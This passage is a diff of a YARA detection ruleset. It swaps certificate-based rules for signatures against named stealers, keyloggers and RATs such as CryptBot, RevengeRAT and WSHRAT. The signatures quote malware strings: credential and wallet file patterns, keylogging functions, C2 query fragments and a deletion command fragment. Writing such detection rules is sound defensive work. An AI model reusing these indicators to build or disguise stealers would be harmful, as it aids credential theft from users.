+		$s4 = "\\AppIni" fullword wide
+		$s5 = "%s.tmp" fullword wide
+		$s6 = "\\SetupUi" fullword wide
+		$s7 = "%s|%s|%s|%s" fullword wide
+		$s8 = "\\ExtInfo" fullword wide
+		$cnc1 = "/v?m=" fullword ascii
+		$cnc2 = "%s&i=%d" fullword ascii
+		$cnc3 = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.75" fullword ascii
+		$cnc4 = "Content-Length: %d" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "PLAN ALPHA LIMITED" and pe.signatures[i].serial=="3a:9b:de:c1:0e:00:e7:80:31:6b:aa:eb:fe:7a:77:2c")
+		uint16(0)==0x5a4d and (3 of ($x*) or 7 of ($s*) or all of ($cnc*) or (1 of ($x*) and 4 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_73F9819F3A1A49Bac1E220D7F3E0009B : FILE
+rule DITEKSHEN_MALWARE_Win_Ircbot : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "IRCBot payload"
 		author = "ditekSHen"
-		id = "06f448cf-1f0e-5db5-bdb5-30238c5f7341"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "69739d82-9760-5c4e-bf9e-60c60617a12a"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L954-L965"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1567-L1596"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "9244fae0be6c1addbd0c740d7e153fd4109101184bc61375ddadb6d784769010"
+		logic_hash = "1ea640202cfbd0c3425a192c45938f632dc644f41c7974118e7491b026122818"
 		score = 75
-		quality = 75
+		quality = 67
 		tags = "FILE"
-		thumbprint = "bb04986cbd65f0994a544f197fbb26abf91228d9"
-		importance = 20
+
+	strings:
+		$s1 = ".okuninstall" fullword wide
+		$s2 = ".oksnapshot" fullword wide
+		$s3 = "\\uspread.vbs" fullword wide
+		$s4 = "KEYLogger" ascii nocase
+		$s5 = "GetKeyLogs" fullword ascii
+		$s6 = "GetLoocationInfo" fullword ascii
+		$s7 = "CaputerScreenshot" fullword ascii
+		$s8 = "get_SCRIPT_DATA" fullword ascii
+		$s9 = /irc_(server|nickname|password|channle)/ fullword ascii
+		$s10 = "machine_screenshot" fullword ascii
+		$s11 = "CollectPassword" fullword ascii
+		$s12 = "USBInfection" fullword ascii nocase
+		$cnc1 = "&command=UpdateAndGetTasks&machine_id=" wide
+		$cnc2 = "&machine_os=1&privateip=" wide
+		$cnc3 = "&command=InsertTaskExecution&excuter_id=" wide
+		$cnc4 = "&command=RegisterNewMachine" wide
+		$cnc5 = "&command=UpdateNewMachine" wide
+		$cnc6 = "&command=GetPayloads&keys=" wide
+		$cnc7 = "&command=SaveSnapshot" wide
+		$pdb = "\\Projects\\USBStarter\\USBStarter\\obj\\Release\\USBStarter.pdb" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Jean Binquet" and pe.signatures[i].serial=="73:f9:81:9f:3a:1a:49:ba:c1:e2:20:d7:f3:e0:00:9b")
+		uint16(0)==0x5a4d and (7 of ($s*) or 3 of ($cnc*) or ($pdb and 2 of them ))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0989C97804C93Ec0004E2843 : FILE
+rule DITEKSHEN_MALWARE_Win_Apocalypse : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Apocalypse infostealer payload"
 		author = "ditekSHen"
-		id = "13b2dd06-878e-5539-91d1-eff8607997c3"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "f1fa6642-fe42-57e7-a1bc-0f59815049f8"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L967-L978"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1598-L1615"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "65b695eed221db86928ebd32a1f3cb35729754ba41cb2e5b6cf944890d211120"
+		logic_hash = "d18ac492ad57cf390f20693cb47ae2c6e3dbdd921fa846130a4bc20047e1aa27"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "98549ae51b7208bda60b7309b415d887c385864b"
-		importance = 20
+
+	strings:
+		$s1 = "OpenClipboard" fullword ascii
+		$s2 = "SendARP" fullword ascii
+		$s3 = "GetWebRequest" fullword ascii
+		$s4 = "DotNetGuard" fullword ascii
+		$s5 = "set_CreateNoWindow" fullword ascii
+		$s6 = "UploadFile" fullword ascii
+		$s7 = "GetHINSTANCE" fullword ascii
+		$s8 = "Kill" fullword ascii
+		$s9 = "GetProcesses" fullword ascii
+		$s10 = "get_PrimaryScreen" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Shanghai Hintsoft Co., Ltd." and pe.signatures[i].serial=="09:89:c9:78:04:c9:3e:c0:00:4e:28:43")
+		uint16(0)==0x5a4d and all of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_6Ba32F984444Ea464Bea41D99A977Ea8 : FILE
+rule DITEKSHEN_MALWARE_Win_Osno : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Osno ransomware and infostealer payload"
 		author = "ditekSHen"
-		id = "6fee5b3f-f72e-531e-b11e-e402207072ff"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "25ed5ad4-804a-5608-b6fe-a811ca6744d8"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L980-L991"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1617-L1652"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "fcabdd038a2594dffddbfff71a7a8a1abae89c637355b3be7e5f26c1eb9e39c7"
+		logic_hash = "3df59c306017001467a5f237db2ab37d97c34116558e18420a6a1f01f08f520f"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "ae9e65e26275d014a4a8398569af5eeddf7a472c"
-		importance = 20
+
+	strings:
+		$s1 = ".HolyGate+<>c+<<FinalBoss>" ascii
+		$s2 = /Osno(Keylogger|Stealer|Ransom)/ wide
+		$s3 = "password,executeWebhook('Account credentials" wide
+		$s4 = "-Name Osno -PropertyType" wide
+		$s5 = "process.env.hook" ascii
+		$s6 = "Stealer.JSON.JsonValue" ascii
+		$s7 = "<DetectBrowserss>b_" ascii
+		$s8 = "<TryGetDiscordPath>b_" ascii
+		$s9 = "antiVM" fullword ascii
+		$s10 = "downloadurl" fullword ascii
+		$s11 = "set_sPassword" fullword ascii
+		$txt0 = "{0} {1} .txt" fullword wide
+		$txt1 = "\\ScanningNetworks.txt" fullword wide
+		$txt2 = "\\SteamApps.txt" fullword wide
+		$txt3 = "-ErrorsLogs.txt" fullword wide
+		$txt4 = "-keylogs.txt" fullword wide
+		$txt5 = "Hardware & Soft.txt" fullword wide
+		$cnc0 = "/csharp/" ascii wide
+		$cnc1 = "token=" ascii wide
+		$cnc2 = "&timestamp=" ascii wide
+		$cnc3 = "&session_id=" ascii wide
+		$cnc4 = "&aid=" ascii wide
+		$cnc5 = "&secret=" ascii wide
+		$cnc6 = "&api_key" ascii wide
+		$cnc7 = "&session_key=" ascii wide
+		$cnc8 = "&type=" ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "JIN CONSULTANCY LIMITED" and pe.signatures[i].serial=="6b:a3:2f:98:44:44:ea:46:4b:ea:41:d9:9a:97:7e:a8")
+		( uint16(0)==0x5a4d and (6 of ($s*) or 4 of ($txt*) or (4 of ($s*) and 2 of ($txt*)))) or (7 of ($cnc*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_4F5A9Bf75Da76B949645475473793A7D : FILE
+rule DITEKSHEN_MALWARE_Win_Betabot : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "BetaBot payload"
 		author = "ditekSHen"
-		id = "094b56b9-15fc-5366-9023-c706613882c4"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "377c500c-5727-5bea-ac46-cb69c868a607"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L993-L1004"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1654-L1666"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "8f00efcd62a934fb6ec0205dc1d7bb7f7f3ab168150fee942536ef92f686d21d"
+		logic_hash = "e594d01874ee622169d6708ddc6cfde7f1d26d2bea1604961dc860700e8a1d5d"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "f7de21bbdf5effb0f6739d505579907e9f812e6f"
-		importance = 20
+
+	strings:
+		$s1 = "__restart" fullword ascii
+		$s2 = "%SystemRoot%\\SysWOW64\\tapi3.dll" fullword wide
+		$s3 = "%SystemRoot%\\system32\\tapi3.dll" fullword wide
+		$s4 = "publicKeyToken=\"6595b64144ccf1df\"" ascii
+		$s5 = "VirtualProtectEx" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "EXEC CONTROL LIMITED" and pe.signatures[i].serial=="4f:5a:9b:f7:5d:a7:6b:94:96:45:47:54:73:79:3a:7d")
+		uint16(0)==0x5a4d and filesize <600KB and all of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_68B050Aa3D2C16F77E14A16Dc8D1C1Ac : FILE
+rule DITEKSHEN_MALWARE_Win_Wshratplugin : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "WSHRAT keylogger plugin payload"
 		author = "ditekSHen"
-		id = "b49d3f1d-34b4-578e-ab36-b0744deef548"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "45c4fc87-6c45-5cd7-9fc4-7d3ea664a740"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1006-L1017"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1668-L1685"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "9de23897fbfe3c4a6d649558d1d71f890117ec80967bc5bd975aa6f33576c702"
+		logic_hash = "3feeab43b58b533b7d2d41a71f2107e6f05b9c54ff805607843d253cadbe9384"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "c757e09e7dc5859dbd00b0ccfdd006764c557a3d"
-		importance = 20
+		snort_sid = "920010-920012"
+		clamav_sig = "MALWARE.Win.Trojan.WSHRAT-KLG"
+
+	strings:
+		$s1 = "GET /open-keylogger HTTP/1.1" fullword wide
+		$s2 = "KeyboardChange: nCode={0}, wParam={1}, vkCode={2}, scanCode={3}, flags={4}, dwExtraInfo={6}" wide
+		$s3 = "MouseChange: nCode={0}, wParam={1}, x={2}, y={3}, mouseData={4}, flags={5}, dwExtraInfo={7}" wide
+		$s4 = "sendKeyLog" fullword ascii
+		$s5 = "saveKeyLog" fullword ascii
+		$s6 = "get_TotalKeyboardClick" fullword ascii
+		$s7 = "get_SessionMouseClick" fullword ascii
+		$pdb = "\\Android\\documents\\visual studio 2010\\Projects\\Keylogger\\Keylogger\\obj\\x86\\Debug\\Keylogger.pdb" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SLOW POKE LTD" and pe.signatures[i].serial=="68:b0:50:aa:3d:2c:16:f7:7e:14:a1:6d:c8:d1:c1:ac")
+		uint16(0)==0x5a4d and filesize <100KB and 4 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0F2B44E398Ba76C5F57779C41548607B : FILE
+rule DITEKSHEN_MALWARE_Win_Revengerat : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "RevengeRAT and variants payload"
 		author = "ditekSHen"
-		id = "6a962fd8-c2cd-5abd-8f80-95697771037c"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "7d725050-108c-54b5-978e-2dd2124f5b0f"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1019-L1030"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1687-L1713"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "172622595a3f6a6ab4ac2677c3064fab87b0a872c261031331c99cbd58671da2"
+		logic_hash = "be9e50052f45b94d5995db723dd64d16a91c5ba0d3f589c018155c0cce45124f"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "cef53e9ca954d1383a8ece037925aa4de9268f3f"
-		importance = 20
+		snort_sid = "920000-920002"
+
+	strings:
+		$l1 = "Lime.Connection" fullword ascii
+		$l2 = "Lime.Packets" fullword ascii
+		$l3 = "Lime.Settings" fullword ascii
+		$l4 = "Lime.NativeMethods" fullword ascii
+		$s1 = "GetAV" fullword ascii
+		$s2 = "keepAlivePing!" fullword ascii wide
+		$s3 = "Revenge-RAT" fullword ascii wide
+		$s4 = "*-]NK[-*" fullword ascii wide
+		$s5 = "RV_MUTEX" fullword ascii wide
+		$s6 = "set_SendBufferSize" fullword ascii
+		$s7 = "03C7F4E8FB359AEC0EEF0814B66A704FC43FB3A8" fullword ascii
+		$s8 = "5B1EE7CAD3DFF220A95D1D6B91435D9E1520AC41" fullword ascii
+		$s9 = "\\RevengeRAT\\" ascii
+		$q1 = "Select * from AntiVirusProduct" fullword ascii wide
+		$q2 = "SELECT * FROM FirewallProduct" fullword ascii wide
+		$q3 = "select * from Win32_Processor" fullword ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "DIGITAL DR" and pe.signatures[i].serial=="0f:2b:44:e3:98:ba:76:c5:f5:77:79:c4:15:48:60:7b")
+		uint16(0)==0x5a4d and ((1 of ($l*) and 3 of ($s*)) or ( all of ($q*) and 3 of ($s*)) or 3 of ($s*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_5Ad4Ce116B131Daf8D784C6Fab2Ea1F1 : FILE
+rule DITEKSHEN_MALWARE_Win_TRAT : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "TRAT payload"
 		author = "ditekSHen"
-		id = "abb6c51b-987a-5a1f-9d31-1422b41a6a6d"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "15f80970-6bc7-5e29-86d6-f7529a10d227"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1032-L1043"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1715-L1730"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "3221ffd8203cbef8735ed48acd77daae6bee33ade236b1ff2ced81a0f27d4ce5"
+		logic_hash = "b8474c74cd9f21fcb3a8ae1c7a7a0a801f0f117782e9803cdae39daf7f0f8b2f"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "de2dad893fdd49d7c0d498c0260acfb272588a2b"
-		importance = 20
+		clamav_sig = "MALWARE.Win.Trojan.TRAT"
+
+	strings:
+		$s1 = "^STEAM_0:[0-1]:([0-9]{1,10})$" fullword wide
+		$s2 = "^7656119([0-9]{10})$" fullword wide
+		$s3 = "Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)" ascii
+		$s4 = "\"schtasks\", \"/delete /tn UpdateWindows /f\");" ascii
+		$s5 = "ProcessWindowStyle.Hidden" ascii
+		$s6 = "+<>c+<<ListCommands>" ascii
+		$s7 = "//B //Nologo *Y" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ORDARA LTD" and pe.signatures[i].serial=="5a:d4:ce:11:6b:13:1d:af:8d:78:4c:6f:ab:2e:a1:f1")
+		uint16(0)==0x5a4d and 5 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_48Ce01Ac7E137F4313Cc5723Af817Da0 : FILE
+rule DITEKSHEN_MALWARE_Win_Cryptbot : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "CryptBot/Fugrafa stealer payload"
 		author = "ditekSHen"
-		id = "d5eb08a7-eb2b-5318-a941-da3ce0a6b634"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "248961dd-b98d-509b-92a0-1670b7687e25"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1045-L1056"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1732-L1766"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "d92d4aa491b028620f17fd997a782f5e75247b2d3de7ef9026e2c62309275ce1"
+		logic_hash = "6322b8b1ad210fac4475c194e060046538d4174f69a7c0e3618646d262cd33bd"
 		score = 75
-		quality = 75
+		quality = 69
 		tags = "FILE"
-		thumbprint = "8f594f2e0665ffd656160aac235d8c490059a9cc"
-		importance = 20
-
-	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ET HOMES LTD" and pe.signatures[i].serial=="48:ce:01:ac:7e:13:7f:43:13:cc:57:23:af:81:7d:a0")
+		snort2_sid = "920110"
+		snort3_sid = "920108"
+		clamav_sig = "MALWARE.Win.Trojan.CryptBot"
+
+	strings:
+		$s1 = "Username: %wS" fullword wide
+		$s2 = "Computername: %wS" fullword wide
+		$s3 = "/c rd /s /q %" wide
+		$s4 = "IP: N0t_IP" fullword wide
+		$s5 = "Country: N0t_Country" fullword wide
+		$s6 = "password-check" fullword ascii
+		$s7 = "Content-Disposition: form-data; name=\"file\"; filename=\"" ascii wide
+		$s8 = "[ %wS ]" wide
+		$s9 = "EXE_PATH:" wide
+		$s10 = "Username (Computername):" wide
+		$s11 = "Operating system language:" wide
+		$s12 = "/index.php" wide
+		$f1 = "*ledger*.txt" fullword wide
+		$f2 = "*crypto*.xlsx" fullword wide
+		$f3 = "*private*.txt" fullword wide
+		$f4 = "*wallet*.dat" fullword wide
+		$f5 = "*pass*.txt" fullword wide
+		$f6 = "*bitcoin*.txt" fullword wide
+		$p1 = "%USERPROFILE%\\Desktop\\*.txt" fullword wide
+		$p2 = "%USERPROFILE%\\Desktop\\secret.txt" fullword wide
+		$p3 = "%USERPROFILE%\\Desktop\\report.doc" fullword wide
+		$pattern1 = /(files_|_Files)\\(_?)(cookies|cryptocurrency|forms|passwords|system_info|screenshot|screen_desktop|information|files|wallet|cc|Coinomi)\\?(\.txt|\.jpg|\.jpeg)?/ ascii wide nocase
+		$pattern2 = /%(s|ws)\\%(s|ws)\\(Login Data|Cookies|Web Data)/ fullword wide
+		$pattern3 = /(_AllPasswords_list.txt|_AllForms_list.txt|_AllCookies_list.txt|_All_CC_list.txt|_Information.txt|_Info.txt|_Screen_Desktop.jpeg)/ fullword wide
+
+	condition:
+		uint16(0)==0x5a4d and ((5 of ($s*) and 1 of ($p*)) or (4 of ($s*) and 1 of ($f*) and 1 of ($p*)) or (2 of ($pattern*) and 3 of ($s*)) or (#pattern1>6 and (2 of ($s*) or 1 of ($p*))))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_C7E62986C36246C64B8C9F2348141570 : FILE
+rule DITEKSHEN_MALWARE_Win_Matiex : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Matiex/XetimaLogger keylogger payload"
 		author = "ditekSHen"
-		id = "44d75e1d-5d5b-5d6f-8f7b-d94cd3908ed7"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "61803e0c-8f6a-5ded-855a-ff26eed1384f"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1058-L1069"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1768-L1788"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "dfb669ad42ac16d954405dc243b9d81dd9a748a14044d1fce3b71b490c58c82e"
+		logic_hash = "62b45c43d99bef93a6c0e72200b869fdce331f8fa325640df7d8b72af56a3ef2"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "f779e06266802b395ef6d3dbfeb1cc6a0a2cfc47"
-		importance = 20
+		clamav_sig = "MALWARE.Win.Trojan.MatiexKeylogger"
+
+	strings:
+		$id = "--M-A-T-I-E-X--K-E-Y-L-O-G-E-R--" ascii wide
+		$s1 = "StartKeylogger" fullword ascii
+		$s2 = "_KeyboardLoggerTimer" ascii
+		$s3 = "_ScreenshotLoggerTimer" ascii
+		$s4 = "_VoiceRecordLogger" ascii
+		$s5 = "_ClipboardLoggerTimer" ascii
+		$s6 = "get_logins" fullword ascii
+		$s7 = "get_processhackerFucked" fullword ascii
+		$s8 = "_ThePSWDSenders" fullword ascii
+		$pdb = "\\Before FprmT\\Document VB project\\FireFox Stub\\FireFox Stub\\obj\\Debug\\VNXT.pdb" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "LLC Mail.Ru" and pe.signatures[i].serial=="c7:e6:29:86:c3:62:46:c6:4b:8c:9f:23:48:14:15:70")
+		uint16(0)==0x5a4d and ($id or 4 of ($s*) or ($pdb and 2 of them ))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00Ee663737D82Df09C7038A6A6693A8323 : FILE
+rule DITEKSHEN_MALWARE_Win_Iamthekingkeylogger : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "IAmTheKing Keylogger payload"
 		author = "ditekSHen"
-		id = "c6684a9f-ca92-53e9-9723-9d2437a16fc6"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "f9c84241-6db2-5243-9bea-2165104cb0c3"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1086-L1097"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1790-L1805"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "4057374b73ef13b6f101b939e11569cf010896097fd9322ab490c73d6808fa6f"
+		logic_hash = "80d8cabfd02cd73e19e6cf1c2a8a5f06c5b3b502fe4f07289e92b448425aaa6d"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "dc934afe82adbab8583e393568f81ab32c79aeea"
-		importance = 20
+		clamav_sig = "MALWARE.Win.Trojan.IAmTheKingKeylogger"
+
+	strings:
+		$s1 = "[TIME:]%d/%d/%d %02d:%02d:%02d" fullword ascii
+		$s2 = "[TITLE:]" fullword ascii
+		$s3 = "%s-%02d-%02d-%02d-%02d" fullword ascii
+		$s4 = "[DATA]:" fullword ascii
+		$s5 = "[BK]" fullword ascii
+		$s6 = "Log.txt" fullword ascii
+		$s7 = "sonme hting is wrong x" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "KREACIJA d.o.o." and pe.signatures[i].serial=="00:ee:66:37:37:d8:2d:f0:9c:70:38:a6:a6:69:3a:83:23")
+		uint16(0)==0x5a4d and 5 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_3D568325Dec56Abf48E72317675Cacb7 : FILE
+rule DITEKSHEN_MALWARE_Win_Iamthekingscrcap : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "IAmTheKing screen capture payload"
 		author = "ditekSHen"
-		id = "e958b9c4-2f1b-5b5d-8a44-7393204a6f41"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "ba385194-9578-568c-b908-bc4fc742e52e"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1099-L1110"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1807-L1821"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a575c9989a3ee7824e8734940877ddb255b19070def460508f70d32f457411ac"
+		logic_hash = "594ddad4e08bad51f90de1c4299e28b4800b4fa686bd4176e406ba401a1242ba"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "e5b21024907c9115dafccc3d4f66982c7d5641bc"
-		importance = 20
+
+	strings:
+		$s1 = "@MyScreen.jpg" fullword wide
+		$s2 = "DISPLAY" fullword wide
+		$s3 = ".?AVCImage@ATL@@" fullword ascii
+		$s4 = ".?AVGdiplusBase@Gdiplus@@" fullword ascii
+		$s5 = ".?AVImage@Gdiplus@@" fullword ascii
+		$s6 = ".?AVBitmap@Gdiplus@@" fullword ascii
+		$s7 = ".?AVCAtlException@ATL@@" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Virtual Byte F-B-I" and pe.signatures[i].serial=="3d:56:83:25:de:c5:6a:bf:48:e7:23:17:67:5c:ac:b7")
+		uint16(0)==0x5a4d and all of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_3533080B377F80C0Ea826B2492Bf767B : FILE
+rule DITEKSHEN_MALWARE_Win_Iamthekingkingofhearts : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "IAmTheKing King Of Hearts payload"
 		author = "ditekSHen"
-		id = "42d2328e-742e-5c35-aa14-3b42442543ce"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "95c73ec0-75b0-5d46-87da-b30feb170716"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1127-L1138"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1823-L1843"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a7adb9190be4a9cf60adf4b55c8abaa80e01224ea834fc05705afef37703899e"
+		logic_hash = "75b6dd0ebb90fd04f9e4a0b1fc6a1bbf417fc66daad24c8b01f0390f6155ec55"
 		score = 75
 		quality = 75
 		tags = "FILE"
